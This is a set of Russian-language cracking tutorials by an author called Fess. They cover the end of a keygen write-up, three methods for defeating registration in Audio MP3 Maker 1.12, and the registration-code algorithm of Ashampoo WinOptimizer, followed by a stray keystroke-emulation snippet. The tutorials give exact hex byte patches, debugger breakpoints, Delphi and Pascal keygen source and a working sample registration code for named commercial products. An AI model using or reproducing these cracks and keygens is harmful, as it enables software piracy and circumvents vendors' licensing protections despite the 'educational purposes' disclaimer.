 :0057CCE0 33D2      xor edx, edx           <-edx=0
 :0057CCE2 F7E7      mul edi                <-Умножаем eax на edi (edi=10h)
 :0057CCE4 83EB30    sub ebx, 00000030      <-Получаем реальное цисло из кода
 :0057CCE7 83FB09    cmp ebx, 00000009      <-Если число больше 9 (в пароле
 :0057CCEA 7603      jbe 0057CCEF           <- это цифры). Переходим
 :0057CCEC 83EB07    sub ebx, 00000007      <-Если буквы - вычитаем еще 7
 :0057CCEF 03C3      add eax, ebx           <- eax=eax+ebx
 :0057CCF1 8A1E      mov bl, byte ptr [esi] <-Следующие байты кода
 :0057CCF3 13D1      adc edx, ecx           <-edx=edx+ecx
 :0057CCF5 80FB00    cmp bl, 00             <-Если еще есть символы в коде
 :0057CCF8 75DE      jne 0057CCD8           <-То повторяем
 :0057CCFA C3        ret                    <-Иначе выход из процедуры
 

Общий смылс этого куска кода: вычисление контрольного числа 1 куска кода (до знака минус). И сводится к такому куску кода


 edx=0,eax=0
 метка:
 bl=один байт из адреса кода
 если bl=00 (все символы кончились) то метка 3
 eax=eax*10h
 bl=bl-30
 если это число (т.е. bl<=9),то метка2
 иначе bl=bl-7
 метка2:
 иди к метке
 

Вот такая штука получается. Вышли из процедуры и видим такой код:


 :0057C501 8BD8        mov ebx, eax       <-Результат процедуры поместили в ebx
 :0057C503 BE7B474600  mov esi, 0046477B  <-Указатель на имя
 :0057C508 33C9        xor ecx, ecx       <-Обнуляем
 :0057C50A 33C0        xor eax, eax       <-регистры
 :0057C50C AC          lodsb              <-Берем 1 байт кода и указатель
                                          < увеличиваем на 1 (eax=байт,esi=esi+1)
 :0057C50D 03C8        add ecx, eax       <- ecx=ecx+eax
 :0057C50F C1C908      ror ecx, 08        <- Сдвиг вправо на 8 байт
 :0057C512 03CB        add ecx, ebx       <- ecx=ecx+ebx(результат предыдущей
                                          < процедуры)
 :0057C514 3C00        cmp al, 00         < Символы кончились?
 :0057C516 75F4        jne 0040C50C       < Нет. Следующий символ
 :0057C518 F7D1        not ecx            < Да. Инверсия ecx.
 

Здесь даже выделять ничего не надо в кейген чистый код. Нашли еще один результат (в ecx). Смотрим дальше


 :0057C51A 5E             pop esi
 :0057C51B 51             push ecx          <-Сохраняется результат 2-го подсчета
 :0057C51C BF10000000     mov edi, 00000010
 :0057C521 E88C070000     call 0040CCB2     <-Вызываем еще раз функцию подсчета
                                            < аналогична первой за исколючением
                                            < считается 2-я часть кода
 :0057C526 59             pop ecx
 :0057C527 3BC8           cmp ecx, eax      <-Сравнение результата 2-го подсчета
                                            < и последней процедуры.
 :0057C529 0F85A4000000   jne 0040C5D3
 

Смотрите результат первой процедуры влияет только на вторую процедуру, где подсчитывается контрольная сумма имени. Значит ее можно взять статической. Например, если код начинается так 1-, то добавка в ebx при подсчете будет 1. (Можете взять что-то другое). Кстати, если понаблюдать, то можно заметить, что все имя преобразуется в нижний регистр.

Написание кейгена

За неимением времени C++, я пока выучить не озаботился, по-этому, кейген будет на Delphi. Если прочитаете статью Dr.Golova, как писать маленькие проги на Делфи, можете переделать его. Но я сляпал просто.

1) Создаем форму и два компонента Edit с именами Code и Name
2) Одну кнопку.

Нажимаем два раза на кнопку и начинаем писать кейген. (Если немножко присмотреться, то обратная к третьей процедуре будет генерация из результата второй ее hex-вида) Вот моя процедура, я ее прокоментрирую и разобраться не составит труда:


 procedure TForm1.Button1Click(Sender: TObject);
 Var
   B:Byte;               // Щетчик цикла
   Col: Dword;           // Переменная для хранения котрольной суммы
   Name_: String;        // Переменная для хранения имени
 begin
    COl:=0;                       //Обнуление переменной контрольной суммы
    Name_:=LowerCase(Name.Text);  //Все буквы в имени строчные (Помните)
    For B:=1 To Length(Name_)+1 Do  //
    Begin                           //
      Col := Col + Ord(Name_[B]);   //
      asm                           // Цикл генерации котрольной суммы
      mov ecx, Col                  // из имени
      ror ecx, 08                   //
      add ecx, 1                    //
      mov Col, Ecx                  //
      end;                          //
    End;                            //
    Col:= not Col;               // Инвертирование контрольной суммы
 
   Code.Text := '1-'+IntToHex(Col,8); //Вывод на экран полученного ключа
 end;

Вот и все! Дело сделано. 3 часа парился писал это. Ломал немного дольше, спасибо автору за сие творение. Как вы видите писать кейгены не так сложно как кажется. Хотя иногда понять смысл формулы пропущенной через хреновый компилятор бывает не легко.

Удачи в Reversing Engeneering!

З.Ы. Товарищи по оружию будьте снисходительны не выкладывайте кряки на всеобщее использование. Товарищи программисты не надейтесть на совесть крякеров - делайте защиту лучше!

Все ругательства отправлять в null
Все остальное на lomovskih@yandex.ru

P.S. Запомните все материалы публикуются только в учебных целях и автор за их использование ответственности не несет!!

P.P.S. Возможно имеют место опечатки, заранее извините!

With best wishes Fess

И да пребудет с вами великий дух bad-сектора.




От простого к сложному - три способа взлома на основе Audio MP3 Maker

Автор: Fess

Target: Audio MP3 Maker 1.12

Tools:

  • Some brains
  • TRW 2000 (Soft-Ice)
  • Win32Dasm 8.93
  • Любой hex-редактор (я использую QView)

Вступление

Как это начиналось:

Взял я компакт Hard&Soft от 04.2002 глубокомысленно изучив список еще не взломанных прог остановился на этой. Такие программы как правило не сильно защищены и сломать их не сложно.

Что за прога:

Да обычная грабилка с CD в MP3 таких сейчас навалом. Конечно красивый интерфейс и прочее. Может в ней и есть, что-то полезное, но я выбрал ее прото так. Занимает все это хозяйство в установочном архиве 1.2 Мб.

Примечание:

Господа крякеры. Кто считает себя мастером крякером или на самом деле является таковым не читайте эту статью. Да бы не выблевать только что съе- деный ужин. Статья написана для начинающих и в ней подробно разжевывается весь этап от взлома программы, до написания кейгена используя эту программу.

Начало

Итак приступим. Я не перестаю повторять: любой взлом начинается с определения типа защиты программы. Я выделяю 3 таких типа это имя-код, код, ключ-файл (отсортированы в порядке встречаемости в природе). Так же можно выделить демо, но такие программы (если программист не последний лопух) взлому не поддаются.

Что мы видим при запуске программы: за эту прогу просят 29.95 зеленых портретов американского президента. Почему не 30? Потому, что так решили менеджеры компании. Ну да мы все равно ни за что платить сегодня не будем.

Продолжаем. На появившемся диалоге три кнопки это "Buy Now", "Exit", и "Try It". Жмем "Buy Now" типа щас хочу. А он лезет в Инет. Значит пароль вводят не здесь. Жмет тогда "Try It", кнопка "Exit" не для нас, мы так просто не сдаемся.

В появившемся окне замечаем кнопку Register. О, это для нас подходит. Давим туда со всей силы. Вываливается окно с примерно таким текстом

Если бабки заплатил,
То и кодик получил,
Коли так пиши скорей
Не зевай, да не робей.

Ну мы, конечно, ничего не платили, но попробуем что-нибудь написать. Авось проге понравится и скажет что зарегистрирована. Если у Вас это получилось, то можете считать себя страшно везучим, комбинаций трилиарды. Дальше читать статью Вам не имеет смылса пакуйте чемоданы и направляй- тесь в Лас-Вегас. Если не угадали Вам написали Invalid reg code. Ну и ладно. Можете погрозить компьютеру кулаком и обругать производителей этой проги последними словами...

Успокоились? Тогда читайте дальше. Сегодня вашему вниманию будут пред- ставлены сразу три способа взлома одной проги. Один легче другого, но я для порядка их распределю так по сложности:

1) Патч (Patch)
2) Подсмотр кода
3) Кейген из этой же программы

1. Патч (Patch)

Этот способ произошел от слова Patch - что по научному значит: изме- нять. Способ известен с давнишних времен, когда грамотные индейцы стирали долотом лишние цыферки в ведомостях на каменных плитах, чтобы платить по меньше налоги.

На мой взгляд это самый простой способ взлома. Обычно для взлома та- ким способом хватает: чайной ложки мозгов, дизассемблера, hex-редактора. Этот способ я познал сам не читая никаких тьюториалов, с моей помощью Вы получите все знания необходимые для взлома прог этим способом.

Недостаток данного метода в том, что для каждой последующей версии этой программы придется заново ее ломать, а если они выходят чуть ли не каждый божий день. Хотя для сиюминутной потребности в самый раз.

Приступаем берем дизассемблер Win32Dasm и дизасмим exe-файл программы с названием amm.exe. Все завершилось хорошо, значит он не запакован exe- паковщиком. Это радует, так как проблем намного меньше.

Далее идем в секцию строк (кнопка "Strn Ref" или в меню "Refs\String Data References). Там и ищем нашу строку. Какую? Я напомню: Invalid reg code. Когда найдете два раза кликните на нее, и попадете в такой участок кода. Я пронумерую строки, а самые основные выделю цветом.


 1) :0040D83F 8B1B         mov ebx, dword ptr [ebx]
 2) :0040D841 8B4DE8       mov ecx, dword ptr [ebp-18]
 3) :0040D844 53           push ebx
 4) :0040D845 51           push ecx
 5) :0040D846 E8AE9E0000   call 004176F9
 6) :0040D84B 83C408       add esp, 00000008
 7) :0040D84E 85C0         test eax, eax
 8) :0040D850 6A00         push 00000000
 
 * Possible StringData Ref from Data Obj ->"Message"
                                   |
 9) :0040D852 68C47B4400   push 00447BC4
 10):0040D857 7518         jne 0040D871
 
 * Possible StringData Ref from Data Obj ->"Thank you, please restart programs"
                                   |
 11):0040D859 68EC7D4400   push 00447DEC
 12):0040D85E 8BCE         mov ecx, esi
 13):0040D860 E889CE0100   call 0042A6EE
 14):0040D865 8B16         mov edx, dword ptr [esi]
 15):0040D867 8BCE         mov ecx, esi
 16):0040D869 FF92C4000000 call dword ptr [edx+000000C4]
 17):0040D86F EB37         jmp 0040D8A8
 
 * Referenced by a (U)nconditional or (C)onditional Jump at Address:
 |:0040D857(C)
 * Possible StringData Ref from Data Obj ->"Invalid reg code"
                                   |
 18):0040D871 68D87D4400   push 00447DD8
 19):0040D876 8BCE         mov ecx, esi
 20):0040D878 E871CE0100   call 0042A6EE
 21):0040D87D EB29         jmp 0040D8A8
 

Наша строка в 18, а чуть повыше строка 11 только с обратным сообще- нием, о том, что программа зарегистрирована. Значит должна быть проверка а после нее переход. Между строками 17 и 18 написан адрес откуда идет переход на строку 18. Перейдя на указанную там строку оказываемся на строке 10. Переход jne означает, что переход если не равно. Эта команда одно и тоже, что и команда jnz (переход если не 0). Так что не удивляй- тесь, если в своем hex-редакторе увидите jnz вместо jne поторяю это одно и тоже. Смотрим чуть повыше и видим команду сравнения test eax,eax. Меня (в бытность мою начинающим крякером) удивляло, как может осуществляться сравнение строк этой командой. Эта команда, как оказалось вовсе и не сравнивает строки, а устанавливает флаг нуля (флаг Z), который может принимать два значения 1 или 0. Если 1 переход осуществляется у команды je (jz), если равно (если ноль). Если же 0 переход осуществляется у команд jne (jnz), которые мы рассматривали. Сравнение же идет в процеду- ре перед этой командой, которая возвращает в eax 0, если строки не равны и 1 в противном случае. test аналогична команде and с тем условием, что and изменяет сами регистры, а test флаг нуля. У команды test eax,eax флаг нуля будет выставляться в том случае, когда eax<>0.

У Вас может возникнуть вопрос, что же сравнивает команда call стоя- щая по номером 5. Это может быть правильный код и наш введенный код (обчно так и бывает) или сгенерированные контрольные суммы у нашего кода и нашего имени. Самый простой способ это узнать используя отладчик. Но нас это пока не интересует.

Первое, что приходит на ум изменить jne на обратный переход je. Это самое простое, но увы, не всегда верное. Обращение к процедуре сравнения может идти из разных частей программы. В итоге выполучите, то что прога напишет вам, что вы зарегистрированы. Но при перезапуске программы все повторится снова. Можно, конечно, найти все вызовы этой функции и после них переправить все переходы. Мы же применим другой метод, т.е. в самой процедуре сравнения сделаем так, чтобы она всегда возвращала 1, т.е. что сравниваемые строки всегда равны.

Делаем следующее заходим в процедуру, это можно сделать, поставив курсор на процедуру (у нас это номер 5) и нажав кнопку call. Вернуться обратно можно с помощью кнопки ret. После того как мы туда зайдем, по- смотрим чуть повыше, откуда же вызывается эта функция? Ооо.. много. Вот поэтому менять переход после процедуры не хорошо. Можно сделать просто, а можно наверняка.

1) Простой вариант Сразу после входа в процедуру ставим команду ret, т.е. выход из процедуры, эффект основан на том, что при входе в процедуру eax не будет равно 0. Вероятность этого 98,2%.

2) Стопудовый вариант Сразу после входа в процедуру пишем такие команды.


 xor eax,eax
 inc eax
 ret
 

Как это сделать. Я буду описывать как это сделать с помощью QView, в принципе его использование аналогично использованию Hiew, так что я ду- маю это сработает и для него.

Приступим.

1) Записываем байты, с которых начинается процедура, обычно достаточно 9 главное, чтобы такой кусок кода встречался в программе один единствен ный раз. У нас это: 55 8B EC 83 3D 3C C8 4400005356.

2) Закрываем Win32Dasm, т.к. Windows производит разделение доступа к фай- лам, и если вы его не закроете, то не сможете в него записать. Рекомендую так же перед этим сохранить проэкт файла, т.к. в случае чего его открыть будет намного быстрей, чем еще раз дизассемблировать.

3) Копируем файл qview.exe в каталог с программой.

4) Создаем резервную копию изменяемого файла.

5) Пишем команду qview.exe <имя-изменяемого-файла> У нас будет такая команда: qview.exe amm.exe.

6) Два раза нажимаем F4, чтобы перейти к ассемблерному коду.

7) Один раз нажимаем F2, чтобы перейти к 32-битному режиму.

8) Нажимаем F7 и вписываем в hex-поиск предварительно записанные байтики. Жмем Enter.

9) Нажимаем Shift-F7 для повтора поиска, если больше совпадений нет, то начинаем изменять, иначе выписываем еще несколько байтов и повторяем поиск

10) Нашлась одна, теперь нажимаем Tab и начинаем писать команды. У нас строка нашлась на 176F9. Пишем написанные выше команды, после каждой нажимаем Enter.

11) Нажимаем Esc. И в ответ на предложение сохраниться нажимаем "W".

Запускаем программу, выскакивает сообщение об ошибке. Черт, значит мы ошиблись это просто процедура сравнения строк и она используется, не толь- ко для сравнения пароля. Как же нам быть? Я думаю так: посмотрим еще раз на участок кода с 3 по 10. Значит так в стек заносятся параметры ebx и ecx что-то подобное вероянее всего будет и при следующих проверках. Нажимаем поиск и вводим call 004176F9. Ищем до того момента, когда командой push в стек будут заносится регистры общего назначения (оканчивающиеся на ..x ). Ищем пока не натыкаемся на следующий участок кода.


 :00404FD0 8B4DE4     mov ecx, dword ptr [ebp-1C]
 :00404FD3 8B55DC     mov edx, dword ptr [ebp-24]
 :00404FD6 51         push ecx
 :00404FD7 52         push edx
 :00404FD8 E81C270100 call 004176F9
 :00404FDD 83C408     add esp, 00000008
 :00404FE0 8D4DDC     lea ecx, dword ptr [ebp-24]
 :00404FE3 85C0       test eax, eax
 :00404FE5 0F94C0     sete al
 :00404FE8 25FF000000 and eax, 000000FF
 :00404FED 885DFC     mov byte ptr [ebp-04], bl
 

Больше таких участков не встречается, значит проверка одна. Что нам это дает? Значит изменив переход здесь мы получим полноценный вариант програм- мы. Перед повторным изменением, не забудьте восстановить из копии рабочий вариант программы. "А где же здесь переход?" - спросите Вы. А я Вам отвечу нету его здесь. Здесь переход заменен на команду sete al, она устанавлива- ет al=1, если результат последней проверки истина. Последней проверкой и будет наше сравнение. Сделаем так, чтобы в al всегда была 1. Делается это элементарно. Мы видим, что команда sete al занимает 3 байта это 0F94C0. А команды


 xor eax,eax   - 31C0
 inc eax         40
 

Тоже ровно 3 байта получается полноценный замен. Раз все получается, за- меняем! Надеюсь Вас не надо учить пользоваться hex-редактором?

Запускаем программу и что же мы видим?.. Nag-screen пропал, все работает просто отлично. Покажем всем друзьям какой Вы КулХацкер. И начнем дальней- шее обучение по методу дядюшки Fess'a.

2. Подсмотр кода

Подсмотр кода. Этот метод появился на заре цивилизации с появлением рыбаков, которые, если у другого ловится, а у них нет начинают вынюхивать, почему так происходит. Подсмотрев за другим рыбаком, они используют его методу и у них тоже начинает клевать. К сожалению, рыбаки народ особый и не очень-то любит расставаться со своими секретами, поэтому приходится прибегать к хитрым средствам,таким как: дерево, заросли и самое надежное - бутылка водки.

У нас этой бутылкой станет отладчик TRW 2000. Можно было бы использо- вать и старый проверенный Soft-Ice. Но мне было в лом перезагружаться, де- лов то, на 5 секунд. Я немного ошибся, надо было этот способ сделать пер- вым по простоте, ну уж ладно.

Помните, что я Вам говорил в 1 части про патч, показывая вот этот кусок кода. После выполнения команд 1 и 2 в регистрах ebx и ecx находятся две строки. А что за строки предстоит узнать Вам вооружившись отладчиком. !!!! Не забудьте восстановить файл из резервной копии, проверять, то надо на настоящем файле.


 1) :0040D83F 8B1B         mov ebx, dword ptr [ebx]
 2) :0040D841 8B4DE8       mov ecx, dword ptr [ebp-18]
 3) :0040D844 53           push ebx
 4) :0040D845 51           push ecx
 5) :0040D846 E8AE9E0000   call 004176F9
 6) :0040D84B 83C408       add esp, 00000008
 

Вообщем, грузим файл в TRW 2000. Нажимаем Load и вываливаемся в точке входа в файл. Что за точка и по какому адресу нас не колышет и мы с усерди- ем на лице ставим бряк на адрес 40D844 командой bpx 40D844. Т.е. сразу пос- ле того как адреса окажутся в ebx и ecx. Запускаем программу (кнопка F5). Идем в до боли знакомый пункт регистрации набираем свое имя и любой пароль. Я обычно набираю Name: Fess, Code: 110022334455. (такую строку искать в па- мяти легко). Жмем кнопку ЗАРЕГИТЬ МЕНЯ КАК СВЯТОГО КОНЯ и вываливаемся в окно TRW. Как раз на команде под номером 3. Теперь можно посмотреть, а что у нас в памяти по этим адресам. Пишем команду d ebx и видим в окне данных введенный Вами код. А что по другому адресу? Набираем команду: d ecx и в окне данных видим преинтереснейшее число. И тут из глубины души зараждается мысль, что это и есть тот самый настоящий код. Хватаем ручку и быстро чер- каем на любом огрызке бумаги этот код. Посмотрели какой он длинный можете подсчитать каким везением надо обладать, чтобы угадать ТАКОЕ! Теперь вводим подсмотренный нами код. И программа в агонии от радости, что вы ее купили. Хе-хе-хе как бы не так. Просто не правда ли? Таких программ становится все больше. Начинающим крякерам это очень нра- вится теперь можно перед всеми хвастаться настоящим реальным кодом да еще на свое имя, а если еще распечатать регистрационную анкету. То вообще все поверят, что вы ее купили.

3. Кейген из этой же программы

Кейген нетакое давнее изобретение годов 40-х когда стали распространяться машинки для шифрования. И чтобы расшифровать, надо было сбацать такую же машинку. Написание настоящего кейгена, как и создание машинки вещь почти всегда кропотливая и рассчетливая. Надо же догадаться как считается код и написать такой же генератор. Наша же задача другая создание кейгена на ос- нове имеющийся программы. У меня уже был тьюториал посвященный этой теме с названием 'Взлом программ это просто - "Электронная кулинарная книга"'. Кто захочет почитает.

Создать кейген на основе имеющейся программы достаточно просто, если в ней заложен принцип сравнения правильного и неправильного кода. Этот метод является совокупностью первого и второго. Еще раз взглянем на этот отрывок:


 3) :0040D844 53           push ebx
 4) :0040D845 51           push ecx
 5) :0040D846 E8AE9E0000   call 004176F9
 6) :0040D84B 83C408       add esp, 00000008
 7) :0040D84E 85C0         test eax, eax
 8) :0040D850 6A00         push 00000000
 
 * Possible StringData Ref from Data Obj ->"Message"
                                   |
 9) :0040D852  68C47B4400   push 00447BC4
 10):0040D857  7518         jne 0040D871
 

Чем является в данном контексте слово "Message". Оно является заголовком окна при правильной и неправильной регистрации. Так? Так вот, а что если нам слово "Message" заменить правильным регистрационным кодом. Каково, а? Делается это просто элементарно просто. Надо Push " Message" заменить на Push правильный регистрационный номер. Т.е. push 00447BC4 на push ebx. Пос- кольку push на эту строку единственный, то строка его индитификационных байтов единственная. Посмотрим ищем hex строку 68C47B4400. А нет, не едист- венная, их две. Добавим еще один байт 75, теперь одна. Теперь ее надо заме- нить на строку push ebx, а его код 53 остается 4 лишних байта. Для того, чтобы программа могла нормально работать, их надо забить nop'ами, т.е. пу- стыми операторами. Код у nop'a 90. Т.е. надо заменить строку 68C47B4400 на 5390909090. Теперь даже если Вы напишите неправильный код программа выдаст вам правильный в заголовке.

Она выводит Ваш пароль вместо нормального? Так и есть это я недосмотрел. Просто после выполнения процедуры ecx и ebx приравниваются, а пароль нахо- дится в edx. Так что вместо 53, надо написать 52 и все заработает. Надеюсь.

К сведению, удалить информацию о предыдущей регистрации можно, удалив файл keyinfo.key из каталога программы

Теперь вы можете показать всем какой вы Хацкер, снабдив их все кодами со своими именами.

Так же можите поробовать записать вместо текста "Invalid reg code" тоже этот же пароль. Это будет Вашим домашним заданием. Сделав которое, Вы пой- мете, что нет на свете вещи интересней, чем ломание прог.

Послесловие

Хочу выразить огромную благодарность авторам за предоставленный продукт, побольше бы таких продуктов и их программы, вообще, перестали бы покупать.

Люди читающие эту статью! Мир не без добрых людей, если Вам понравилась эта программа купите ее, поддержите финансами развивающуюся отрасль.

Программистам компании! Ну что Вы в самом деле, защитить свою продукцию нормально не можете. Сравнение настоящего кода с введенным это примитив, который был в моде лет восемь назад. Сейчас крякеры выделяют такие програм- мы в категорию: худшая защита месяца.

"Кряк это отражение морали и духа крэкера в единице письменного, ибо иначе это сводит на нет его усилия." (Fess)

Все ругательства отправлять в null
Все остальное на lomovskih@yandex.ru

P.S. Запомните все материалы публикуются только в учебных целях и автор за их использование ответственности не несет!!

P.P.S. Возможно имеют место опечатки, заранее извините!

With best wishes Fess

И да пребудет с вами великий дух bad-сектора.




Создание регистрационного кода к Ashampoo WinOptimizer Suite Plus Pack

Автор: Fess

Юзер приходит к сисадмину и спрашивает:
- Скажи, в чем принципиальная разница между Win95 Win98?
А тот ему и отвечает:
- В 95м кол-во ошибок нужно умножить на 95, а в 98м - соотв-но на 98.
Юзер (мечтательно задрав голову в потолок):
- Наверное Win 3.1 был такой хороший, без ошибок...
Сисадмин:
- Идиот! Это означает, что из трех юзеров выживал только один!!!

Target: Ashampoo WinOptimizer Suite Plus Pack 1.31

Tools:

  • Some brains
  • TRW2000
  • Win32Dasm 8.93

Вступление

Как это начиналось:

Решил я потестировать системные программы на компакт диске журнала Hard&Soft за 4.2002 г. Запустил первую (эту прогамму), а она не зарегена. Нехорошо это подумал я и решил ее модифицировать. А так как запатчить это любой сможет, то мы займемся созданием регистрационного кода к этой проге, глядишь он и к следующей версии подойдет, да и хранить его легче.

Что за прога:

Эта программа включает в себя кучу разных утилит для оптимизации работы системы. Там и очистка реестра и оптимизация интернет и прочее, так же включает в себя бесплатный навороченный проигрыватель. Все это в архиве занимает приближенно 10 Мб.

Начало

Первое с чего начинается любой взлом это определить какую защиту имеет программа. В основном это имя-код, код, ключ-файл (отсортированы в порядке встречаемости в природе). Запускаем прогу, лезем в About, а там нет ничего... Cтранно. Поищем еще. Нашлось в меню Internet\ Enter Reg/Trial key. Так тут ввод только кода, делаем вывод, что будет какое-то математическое преобразование, и подсмотреть в Soft-Ice настоящий код нам не удасться.

Так вводим любой код. О выскакивает окно, что код неправильный. Было бы интересно, если бы было обратное.

Запускает Soft-Ice и пытаемся проделать тоже самое... Но не тут то было, авторы предусмотрели и такой вариант. Вываливается окно, что Soft-Ice загружен. Ну и фиг-то с ним попробуем поймать это окно. Ставим бряк на MessageBoxA. Запускаем прогу, а она не хочет ловиться. Ладно. Перезагружаемся без Soft-Ice. Попробуем дизассемблировать файл, там же была надпись возможно она есть и в тексте. Так берем Win32Dasm пихаем туда файл AshampooWinOptimizerSuite.exe. Судя по его размеру он не запакован. И правда все хорошо. Только вот в меню строк текст на чем-то нехорошем. Скорее всего на немецком, я в немецком не бум-бум и перевести с ходу не могу. Но если в файле нет строк на english'е, а интерфейс на нем поэтому делаем вывод в каком-то файле эти строки храняться. Посмотрев в каталоге с прогаммой обнаруживаем 3 подозрительных ini-файла: allmods.ini MOD.ini, Module.ini. В них как раз и содержаться эти строки. Переместим их в другое место. Теперь если запустить программу, она будет на немецком. Идем куда нам надо, вводим любой код и в окне видим такую строку Der eingegebene Code war falsch! Поищем ее в листинге. Нашлась по адресу 502B87 посмотрим какой код идет перед ней


 :00502B70 8B45FC     mov eax, dword ptr [ebp-04] <- Заносистся адрес на код
 :00502B73 E884C6FCFF call 004CF1FC               <- Процедура проверки номера
 :00502B78 83F801     cmp eax, 00000001           <- Если eax=1
 :00502B7B 1BDB       sbb ebx, ebx                <- то ebx=FFFFFFFF, иначе ebx=0
 :00502B7D 43         inc ebx                     <- ebx=ebx+1
 :00502B7E 84DB       test bl, bl                 <- Если ebx<>0
 :00502B80 754A       jne 00502BCC                <- то переход
 :00502B82 6A00       push 00000000               <- Иначе
 :00502B84 8D55F0     lea edx, dword ptr [ebp-10] <- вывод
 
 * Possible Reference to String Resource ID=50300: "Der eingegebene Code war
                                                    falsch!"
                                   |
 :00502B87 B87CC40000  mov eax, 0000C47C          <- строки
 

Узнать, что после команды mov eax, dword ptr [ebp-04] в eax будет адрес на введенный код можно так: запускаем TRW2000 ставим бряк на 00502B70, вываливаемся. Пишем d eax. И видим свой код.

Рассчет кода

Теперь посмотрим процедуру подсчета правильности кода. Заходим в call 004CF1FC. Идем в конец процедуры и смотрим от чего зависит будет eax=1 или нет. Смотрим, смотрим, смотрим.... Длинная!!! Но ничего разберемся как-нибудь.


 * Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
 |:004CF25E(C), :004CF4C5(C)
 |
 :004CF4D1 807DF301    cmp byte ptr [ebp-0D], 01
 :004CF4D5 0F94C0      sete al
 :004CF4D8 807DF201    cmp byte ptr [ebp-0E], 01
 :004CF4DC 0F94C2      sete dl
 :004CF4DF 22C2        and al, dl
 :004CF4E1 807DF101    cmp byte ptr [ebp-0F], 01
 :004CF4E5 0F94C2      sete dl
 :004CF4E8 22C2        and al, dl
 :004CF4EA 7402        je 004CF4EE
 :004CF4EC B301        mov bl, 01
 

Видно, что если хоть в одном из байтов по адресам [ebp-0D],[ebp-0E], [ebp-0F] будет 0, то al = 0. Три критерия проверки, нам надо, чтобы во всех из них была 1. Так же сюда ведут два перехода: второй видно откуда, посмотрим откуда идет первый. Идем к 004CF25E.


 :004CF253 8B45FC       mov eax, dword ptr [ebp-04]
 :004CF256 E8D557F3FF   call 00404A30
 :004CF25B 83F812       cmp eax, 00000012
 :004CF25E 0F856D020000 jne 004CF4D1
 

Очень похоже на проверку длинны кода. Значит код должен быть равен 18 символам. Хорошо учтем.

Теперь ищем где в первый байт [ebp-0D] записывается 1. И наты- каемся на такой кусок кода.


 :004CF419 8B45F8      mov eax, dword ptr [ebp-08]
 :004CF41C 8B55F4      mov edx, dword ptr [ebp-0C]
 :004CF41F E85057F3FF  call 00404B74
 :004CF424 7504        jne 004CF42A
 :004CF426 C645F301    mov [ebp-0D], 01
 

Скорее всего это сравнение строк по адресам находящимся в eax и edx. А что в них? Запускаем TRW 2000. Ставим бряк на 4CF419. Вводим произвольный пароль из 18 символов. И смотрим, что в этих строках. По адресу eax какое-то 4-х значное hex-число, по адресу edx 4 последних символа нашего кода. Уже кое-что. Заранее скажу, что число в eax есть сумма кодов первых 13 байтов нашего кода. Эта сумма вычисляется в процедуре по адресу 004CF568, следующей сразу после проверки количества символов в коде.

Теперь смотрим второй критерий [ebp-0E] выраженный в таком куске кода


 :004CF469 8B45F8     mov eax, dword ptr [ebp-08]
 :004CF46C BA58F54C00 mov edx, 004CF558
 :004CF471 E8FE56F3FF call 00404B74
 :004CF476 7504       jne 004CF47C
 :004CF478 C645F201   mov [ebp-0E], 01
 

Проводим тот же маневр с TRW 2000. Ставим бряк на 4CF469 и видим, что по адресу eax находится 6-й символ кода, а по edx hex-число C. По скольку адрес указан статический, то можно сделать вывод, что C это неизменяемая константа. С учетом этого код выглядит так: xxxxxCxxxxxxxxXXXX. Где "x" - цифра или буква, "XXXX" - сумма кодов первых 13 символов.

И наконец третий критерий [ebp-0F] вычисялется из такого куска кода:


 :004CF440 8B45F8     mov eax, dword ptr [ebp-08]
 :004CF443 BA4CF54C00 mov edx, 004CF54C
 :004CF448 E82757F3FF call 00404B74
 :004CF44D 7504       jne 004CF453
 :004CF44F C645F101   mov [ebp-0F], 01
 

Видно, что код аналогичен двум первым случаям. Только по адресу eax находится первые 3 символа кода, а по адресу edx три буквы "WOD".

Общая форма кода принимает вид: WODxxCxxxxxxxxXXXX

Поскольку считать самому XXXX мне было в лом, я состряпал такую программу на Pascal, пришлось даже написать функцию перевода из dec в hex.


 Var
  St,Z,M:String;
  C:Byte;
  B:LongInt;
 
 function Hex(N:Integer):String; {Функция перевода из dec в hex}
 Begin
   M:='123456789ABCDEF';
   C:=4;
   Z:='0000';
   repeat
    Z[C]:=M[Round((N/16-N div 16)*16)];
    N:=N div 16;
    dec(C);
   until N=0;
   Hex:=Z;
 End;
 
 Begin
  St:='WODxxCxxxxxxx'; {Здесь вместо x вписываете любые буквы или цифры}
  B:=0;
  For C:=1 TO 13 Do B:=B+Ord(St[C]); {Сумма кодов первых 13 байт}
  Writeln;
  Write(St+'-'+Hex(B));
 End.

У меня получился такой код: WOD11C1111111-02E6 Вводим. Загегистрировано. Запускаем опять и видим unregistred. Почему? Да все просто мы ввели Trial-код, а надо Reg-код. Посмотрим процедуру проверки повнимательней.

Это было, и это было, и это тоже... А что это за процедура проверки?


 :004CF492 8B45F8     mov eax, dword ptr [ebp-08]
 :004CF495 BA64F54C00 mov edx, 004CF564
 :004CF49A E8D556F3FF call 00404B74
 :004CF49F 7417       je 004CF4B8
 

Все как обычно загружаем в TRW 2000 ставим бряк начало блока. И смотрим по адресу eax 4-й и 5-й байты кода, а по edx 77. Так вот значит чем отличается код Trial-версии, от обычной?!!! Здесь должно стоять мое недоумение, вроде бы мощный продукт, а код генерится как в детском саду, ей богу. Товарищи программисты не будьте так наивны!

Значит в тексте прогаммы заменяем в строке St:='WODxxCxxxxxxx'; третий и четвертный символы на постоянные 77.

Еще разок пробуем ввести на сей раз моим кодом будет такая строка WOD77C1111111-02F2.

B нам показывают, что мы зарегились полностью. Ура-а-а!!! Вопли восторга с разбрызгиванием слюны вокруг.

Спасибо за интерес к моему творчеству!

Удачи в Reversing Engeneering!

Послесловие

Спасибо авторам за предоставленный для исследования продукт. Было очень интересно.

Собратья, если Вам понравилась эта программа и у вас есть деньги купите ее, иначе если никто не будет покупать, то никто не будет писать программы, следовательно нам будет нечего делать.

Программисты, не будьте наивны - защищайте свои творенья как следует, не надейтесь на совесть крякеров, у некоторых ее не бывает.

"Любая программа личностна, так как личность есть отражение свойств пространства на беспредельности бытия." (Fess)

Все ругательства отправлять в null
Все остальное на lomovskih@yandex.ru

P.S. Запомните все материалы публикуются только в учебных целях и автор за их использование ответственности не несет!!

P.P.S. Возможно имеют место опечатки, заранее извините!

With best wishes Fess

И да пребудет с вами великий дух bad-сектора.




Эмуляция нажатия клавиш


Инетчик пришел на выборы. Ему дали избирательные бюллетени. Он долго их вертел в pуках, а потом подошел обратно к столику.
- Так я не понял - где тут кликать?


 Memo1.Perform(WM_CHAR, Ord('A'), 0);
 

или


